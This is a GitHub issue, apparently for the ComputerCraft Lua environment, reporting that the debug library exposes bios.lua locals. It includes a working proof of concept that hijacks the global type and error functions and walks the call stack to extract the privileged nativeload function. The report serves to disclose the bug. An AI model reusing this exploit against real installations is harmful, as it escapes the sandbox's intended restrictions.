debug.getlocal can get locals from bios.lua
KittyCatCode opened this issue ยท 1 comments
With the debug library, it's possible to get locals from any function below your function being executed. This affects some local variables in bios.lua because some functions call global, overwritable, functions. Some of the locals in bios expose important functions, like nativeload, nativeget/setfenv, and nativeHTTPRequest. Proof of concept getting nativeload:
local oldT = type
local oldE = error
local function getvarvalue(name)
local v,f
local i = 1
while true do
local n,va = debug.getlocal(3,i)
if not n then break end
if n == name then
v = va
f = true
end
i = i + 1
end
if f then return v end
local fu = debug.getinfo(3).func
i = 1
while true do
local n, va = debug.getupvalue(fu, i)
if not n then break end
if n == name then return va end
i = i + 1
end
return getfenv(fu)[name]
end
local log = fs.open("log", "w")
_G.type = function(a)
local b = debug.traceback()
log.writeLine(b)
if b:find("bios.lua:25:") then
_G.nativeload = getvarvalue("nativeload")
log.writeLine("Attempted to get nativeload, stored to global.")
end
return oldT(a)
end
_G.error = function(a)
log.writeLine("ERR: "..a)
log.writeLine(debug.traceback())
end
pcall(load,9)
_G.error = oldE
_G.type = oldT
log.close()